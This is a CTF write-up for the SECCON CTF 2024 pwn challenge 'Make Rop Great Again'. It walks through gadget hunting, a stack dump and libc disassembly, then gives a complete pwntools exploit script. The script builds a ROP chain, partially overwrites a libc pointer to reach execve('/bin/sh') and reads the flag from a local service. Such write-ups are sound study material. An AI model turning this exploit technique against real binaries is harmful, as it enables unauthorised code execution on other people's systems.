tsune Help

2025-17

Challenge information

  • CTF: SECCON CTF 2024

  • Challenge: Make Rop Great Again

  • Solves: N/A

  • Description: N/A

  • Time-wasting to solve: 540 min

Writeup

mitigation

Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No

gadgets

After libc_csu had removed from binary, useful gadgets such as pop rdi; ret; had been disappeared from most of the binary.

Screenshot_20251125_092039.png

Also, due to the binary was too simple and built with some optimization flags, no instruction exists like mov rax, <ro addr>; mov rdi, rax; call puts;.

Screenshot_20251125_092132.png

What should we do such a terrible situation? As a result, I decided to use this gadget.

0x0040115c: add [rbp-0x3d], ebx; nop; ret;

Now, how can we control ebx?

Here, I remembered most of I/O function such as puts, gets push FILE pointers to the stack.

This kind of behavior sometimes annoys me because it destroys the rop chain I've built in bss.

0x000000404718|+0x0000|+000: 0x0000000000000000 0x000000404720|+0x0008|+001: 0x00007e703fe93975 <_IO_file_write+0x35> -> 0xc329482678c08548 0x000000404728|+0x0010|+002: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887 0x000000404730|+0x0018|+003: 0x0000000000000001 0x000000404738|+0x0020|+004: 0x00007e7040004643 <_IO_2_1_stdout_+0x83> -> 0x005710000000000a <- $rsi 0x000000404740|+0x0028|+005: 0x00007e7040002030 <_IO_file_jumps> -> 0x0000000000000000 0x000000404748|+0x0030|+006: 0x0000000000404788 -> 0x00000000004047b8 -> 0x0000000000404808 -> ... 0x000000404750|+0x0038|+007: 0x00007e703fe92571 <_IO_do_write+0xb1> -> 0x008083b70fc68949 0x000000404758|+0x0040|+008: 0x0000000000000000 0x000000404760|+0x0048|+009: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887 0x000000404768|+0x0050|+010: 0x000000000000000a 0x000000404770|+0x0058|+011: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887 0x000000404778|+0x0060|+012: 0x0000000000404010 <stdout@GLIBC_2.2.5> -> 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887 0x000000404780|+0x0068|+013: 0x00007e7040002030 <_IO_file_jumps> -> 0x0000000000000000 0x000000404788|+0x0070|+014: 0x00000000004047b8 -> 0x0000000000404808 -> 0x0000000000404800 -> ... 0x000000404790|+0x0078|+015: 0x00007e703fe92ef3 <_IO_file_overflow+0x103> -> 0xffff63850ffff883 0x000000404798|+0x0080|+016: 0x00007e7040005720 <_IO_stdfile_0_lock> -> 0x0000000000000000 0x0000004047a0|+0x0088|+017: 0x0000000000000000 0x0000004047a8|+0x0090|+018: 0x00007e7040005720 <_IO_stdfile_0_lock> -> 0x0000000000000000 0x0000004047b0|+0x0098|+019: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887 0x0000004047b8|+0x00a0|+020: 0x0000000000404808 -> 0x0000000000404800 -> 0x00007e7040230000 <_rtld_global> -> ... 0x0000004047c0|+0x00a8|+021: 0x00007e703fe87dda <puts+0x1fa> -> 0xfffe9f850ffff883 0x0000004047c8|+0x00b0|+022: 0x0000000000000000 0x0000004047d0|+0x00b8|+023: 0x0000000000000000 0x0000004047d8|+0x00c0|+024: 0x0000000000000000 0x0000004047e0|+0x00c8|+025: 0x00007ffd1f1065e8 -> 0x00007ffd1f10782f -> 0x73742f656d6f682f '/home/tsuneki/dc/ctf/upsolve/make-rop-great-again/chall' <- $rbx 0x0000004047e8|+0x00d0|+026: 0x0000000000000001 0x0000004047f0|+0x00d8|+027: 0x0000000000000000 0x0000004047f8|+0x00e0|+028: 0x0000000000403dc8 <__do_global_dtors_aux_fini_array_entry> -> 0x0000000000401140 <__do_global_dtors_aux> -> 0x2edd3d80fa1e0ff3 <- $r14 0x000000404800|+0x00e8|+029: 0x00007e7040230000 <_rtld_global> -> 0x00007e70402312e0 -> 0x0000000000000000 <- $r15 0x000000404808|+0x00f0|+030: 0x0000000000404800 -> 0x00007e7040230000 <_rtld_global> -> 0x00007e70402312e0 -> ... <- $rbp 0x000000404810|+0x00f8|+031: 0x00000000deadbeaf 0x000000404818|+0x0100|+032: 0x0000000000000000

I considered to make meaningful pointer with doing partial-overwrite some part of these pointers.

Then, I found it when I disassemble around _IO_do_write+0xb1.

0x000000404750|+0x0038|+007: 0x00007e703fe92571 <_IO_do_write+0xb1> -> 0x008083b70fc68949
gef> x/40i 0x00007e703fe92571 0x7e703fe92571 <_IO_new_do_write+177>: mov r14,rax 0x7e703fe92574 <_IO_new_do_write+180>: movzx eax,WORD PTR [rbx+0x80] 0x7e703fe9257b <_IO_new_do_write+187>: test ax,ax 0x7e703fe9257e <_IO_new_do_write+190>: je 0x7e703fe92585 <_IO_new_do_write+197> 0x7e703fe92580 <_IO_new_do_write+192>: test r14,r14 0x7e703fe92583 <_IO_new_do_write+195>: jne 0x7e703fe925f0 <_IO_new_do_write+304> 0x7e703fe92585 <_IO_new_do_write+197>: movq xmm0,QWORD PTR [rbx+0x38] 0x7e703fe9258a <_IO_new_do_write+202>: mov eax,DWORD PTR [rbx+0xc0] 0x7e703fe92590 <_IO_new_do_write+208>: movdqa xmm1,xmm0 0x7e703fe92594 <_IO_new_do_write+212>: movq QWORD PTR [rbx+0x28],xmm0 0x7e703fe92599 <_IO_new_do_write+217>: punpcklqdq xmm1,xmm1 0x7e703fe9259d <_IO_new_do_write+221>: movups XMMWORD PTR [rbx+0x8],xmm1 0x7e703fe925a1 <_IO_new_do_write+225>: movups XMMWORD PTR [rbx+0x18],xmm1 0x7e703fe925a5 <_IO_new_do_write+229>: test eax,eax 0x7e703fe925a7 <_IO_new_do_write+231>: jle 0x7e703fe925e0 <_IO_new_do_write+288> 0x7e703fe925a9 <_IO_new_do_write+233>: movq xmm0,QWORD PTR [rbx+0x40] 0x7e703fe925ae <_IO_new_do_write+238>: xor eax,eax 0x7e703fe925b0 <_IO_new_do_write+240>: cmp r12,r14 0x7e703fe925b3 <_IO_new_do_write+243>: movq QWORD PTR [rbx+0x30],xmm0 0x7e703fe925b8 <_IO_new_do_write+248>: setne al 0x7e703fe925bb <_IO_new_do_write+251>: neg eax 0x7e703fe925bd <_IO_new_do_write+253>: add rsp,0x8 0x7e703fe925c1 <_IO_new_do_write+257>: pop rbx 0x7e703fe925c2 <_IO_new_do_write+258>: pop r12 0x7e703fe925c4 <_IO_new_do_write+260>: pop r13 0x7e703fe925c6 <_IO_new_do_write+262>: pop r14 0x7e703fe925c8 <_IO_new_do_write+264>: pop r15 0x7e703fe925ca <_IO_new_do_write+266>: pop rbp 0x7e703fe925cb <_IO_new_do_write+267>: ret

Now rbx,r12,r14,r15,rbp have been controllable. I didn't intend r15,r12,rbx also used in execvpe to control arguments.

0x00007e38daaef005 <+69>: mov rsi,r15 0x00007e38daaef008 <+72>: mov rdx,r12 0x00007e38daaef00b <+75>: mov rdi,rbx 0x00007e38daaef00e <+78>: call 0x7e38daaeef30 <__GI_execve> 0x00007e38daaeef30 <+0>: endbr64 0x00007e38daaeef34 <+4>: mov eax,0x3b 0x00007e38daaeef39 <+9>: syscall 0x00007e38daaeef3b <+11>: cmp rax,0xfffffffffffff001 0x00007e38daaeef41 <+17>: jae 0x7e38daaeef44 <__GI_execve+20> 0x00007e38daaeef43 <+19>: ret 0x00007e38daaeef44 <+20>: mov rcx,QWORD PTR [rip+0x113ead] # 0x7e38dac02df8 0x00007e38daaeef4b <+27>: neg eax 0x00007e38daaeef4d <+29>: mov DWORD PTR fs:[rcx],eax 0x00007e38daaeef50 <+32>: or rax,0xffffffffffffffff 0x00007e38daaeef54 <+36>: ret

This exploit succeed with 1/4096 luck 😢

from pwn import * from icecream import ic import sys import re import inspect e = ELF("chall",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) while(True): nc = "nc 127.0.0.1 7428" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 0 g_script = """ #set max-visualize-chunk-size 0x300 b *execve+0x40 c """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sln = lambda b: io.sendline(str(b).encode()) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) fsp = lambda b : f"%{b}$p".encode() shell = lambda : io.interactive() def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}") payload = b"" def rst():global payload;payload = b"";return;log.info("***PAYLOAD RESET***") def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) def hlt(): return add_rbp_0x3d_ebx = 0x0040115c#: add [rbp-0x3d], ebx; nop; ret; #add_rbp_0x3d_ebx = 0x00401157#: add eax hoge; add [rbp-0x3d], ebx; nop; ret; pop_rbp = 0x004011e9 rbp = 0x404800 leave_ret = 0x004011d4#: leave; ret; ret = 0x004011f8 targ = rbp - (0x404800 - 0x000000404750) targ2 = 0x0000004047a8 binsh = 0x000000404e58 rst() pay( b"A"*0x10, rbp, 0x04011be, # gets(rbp-0x10) ) hlt() sl(payload) rst() pay( b"B"*0x10, rbp, e.plt["puts"], pop_rbp, targ + 0x8 +0x10, p64(ret)*0x40, 0x004011be, # gets(rbp-0x10) p64(ret)*0x40, pop_rbp, 0x404600, 0x004011be, # gets(rbp-0x10) p64(ret)*0x40, pop_rbp, targ + 0x8 +0x10, 0x004011be, # gets(rbp-0x10) b"/bin/sh\x00", ) hlt() sl(payload) rbx = 0x100000000 - 0x00007e6d75005700 + 0x00007e6d74eef005 rst() pay( rbx, 0x1212121212121212,#r12, 0x000000404b20, #r13 leave_ret, # gets(rbp-0x10), #r14 0x1515151515151515,#r15, targ2 + 0x3d,# rbp add_rbp_0x3d_ebx, pop_rbp, 0x000000404e00, leave_ret, ) hlt() sl(payload) #a = int(input("0x000000404750 >>> "),16) rst() pay( b"C"*0x10, rbp, p64(ret)*(41), p16(0x25c1), p8(0xa9) #a & 0xffffffffffffff00 | 0xc1, ) hlt() sl(payload) rst() pay( binsh, #rbx 0,#r12, targ - 0x8, #r13 leave_ret, 0x0,#r15, targ2 - 0x8, #rbp 0x00401157, 0x00401157, 0x00401157, 0x00401157, ) payload = payload[:-1] hlt() sl(payload) sl(b"cat flag*") a = io.recvall(timeout=0.3) if b"flag" in a: print(a) break
Screenshot_20251125_091756.png
Last modified: 25 November 2025